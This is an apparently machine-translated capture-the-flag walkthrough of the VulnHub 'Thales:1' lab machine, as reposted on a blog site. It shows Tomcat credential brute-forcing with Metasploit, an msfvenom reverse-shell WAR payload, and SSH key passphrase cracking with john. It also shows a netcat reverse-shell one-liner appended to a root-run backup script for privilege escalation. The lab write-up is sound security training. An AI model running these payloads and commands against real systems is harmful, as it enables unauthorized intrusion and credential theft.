当前位置:网站首页>[vulnhub range] thales:1
[vulnhub range] thales:1
2022-07-07 16:24:00 【Nailaoyyds】
Catalog
3、 ... and 、 Elevated privileges
0x02 Dictionary explosion edit
Preface
describe
brief introduction : Open your eyes , Another angle
Include 2 A sign :user.txt and root.txt.
Download link
https://download.vulnhub.com/thales/Thales.zip.torrent
0x00 Introduction to the environment kali 192.168.56.102 Thales Drone aircraft 192.168.56.101
One 、 information gathering
0x00 arp-scan scanning
arp-scan -I eth1 -l # Scan network card LAN

0x01 nmap scanning
Scan to two network segments Not sure which nmap Scan scan two IP

Open ports 22 and 8080

Visit Site , User name and password are required

Two 、 Exploit
0x00 msfconsole utilize
msf Search for tomcat login

To configure payload

user name tomcat password role1

Login successfully
0x01 Upload files

Look for function points , Found the upload point

utilize kali Generate war File Trojan do rebound shell msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.56.102 lport=5555 -f war -o myshell.war
Upload successful , And run

3、 ... and 、 Elevated privileges
0x00 rebound shell
Listening port

Upgrade transaction mutual shell

sudo -l # Need a password , Unknown stay home User found under file Thales


stay `notes.txt` Found in the file `/usr/local/bin/backup.sh View file contents
0x02 Dictionary explosion 
Find out .ssh Folder

It is found that the private key can be used ssh2john.py Generate password file explosion
use ssh2john.py Compile the script
/usr/share/john/ssh2john.py id_rsa > crack.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

Burst out the code vodka06
Switching users

0x03 user.txt
see user.txt--- first flag

notes.txt yes root The powers of the , There may be something inside

0x04 rebound shell
notice backup.sh It has executive authority , Can write bounce shell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 666 >/tmp/f" >> backup.sh
File content editing will directly replace , Append for selection

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 9999 >/tmp/f" >> backup.sh
0x05 root.txt
monitor 9999, After writing, you will connect by yourself

summary
Thales Learned
msf The use of blasting dictionary
rsa Use of private key ciphertext
边栏推荐
- Asyncio concept and usage
- 47_Opencv中的轮廓查找 cv::findContours()
- Shandong old age Expo, 2022 China smart elderly care exhibition, smart elderly care and aging technology exhibition
- laravel怎么获取到public路径
- Bidding announcement: Fujian Rural Credit Union database audit system procurement project (re bidding)
- 95.(cesium篇)cesium动态单体化-3D建筑物(楼栋)
- Eye of depth (VII) -- Elementary Transformation of matrix (attachment: explanation of some mathematical models)
- Wireless sensor networks -- ZigBee and 6LoWPAN
- 分步式監控平臺zabbix
- Unity3d click events added to 3D objects in the scene
猜你喜欢

torch.numel作用

TiDB For PostgreSQL和YugabyteDB在Sysbench上的性能对比

SysOM 案例解析:消失的内存都去哪了 !| 龙蜥技术

95.(cesium篇)cesium动态单体化-3D建筑物(楼栋)

Unity3D_ Class fishing project, bullet rebound effect is achieved

Mysql database basic operation DQL basic query
![Unity drawing plug-in = = [support the update of the original atlas]](/img/b0/92114ffb1f168a1f27125db46c6797.jpg)
Unity drawing plug-in = = [support the update of the original atlas]

删除 console 语句引发的惨案

Lecturer solicitation order | Apache seatunnel (cultivating) meetup sharing guests are in hot Recruitment!

华东师大团队提出,具有DNA调控电路的卷积神经网络的系统分子实现
随机推荐
Xcode Revoke certificate
分类模型评价标准(performance measure)
95. (cesium chapter) cesium dynamic monomer-3d building (building)
应用程序和matlab的通信方式
php 自带过滤和转义函数
Laravel 服务提供者实例教程 —— 创建 Service Provider 测试实例
Unity3D_ Class fishing project, bullet rebound effect is achieved
【花雕体验】15 尝试搭建Beetle ESP32 C3之Arduino开发环境
神经网络c语言中的指针是怎么回事
Power of leetcode-231-2
Migration and reprint
MySQL数据库基本操作-DQL-基本查询
Balanced binary tree (AVL)
Leetcode-136-只出现一次的数(用异或来解答)
Sysom case analysis: where is the missing memory| Dragon lizard Technology
The differences between exit, exit (0), exit (1), exit ('0 '), exit ('1'), die and return in PHP
Application example of infinite list [uigridview]
Statistical learning method -- perceptron
Bidding announcement: Fujian Rural Credit Union database audit system procurement project (re bidding)
记一次项目的迁移过程

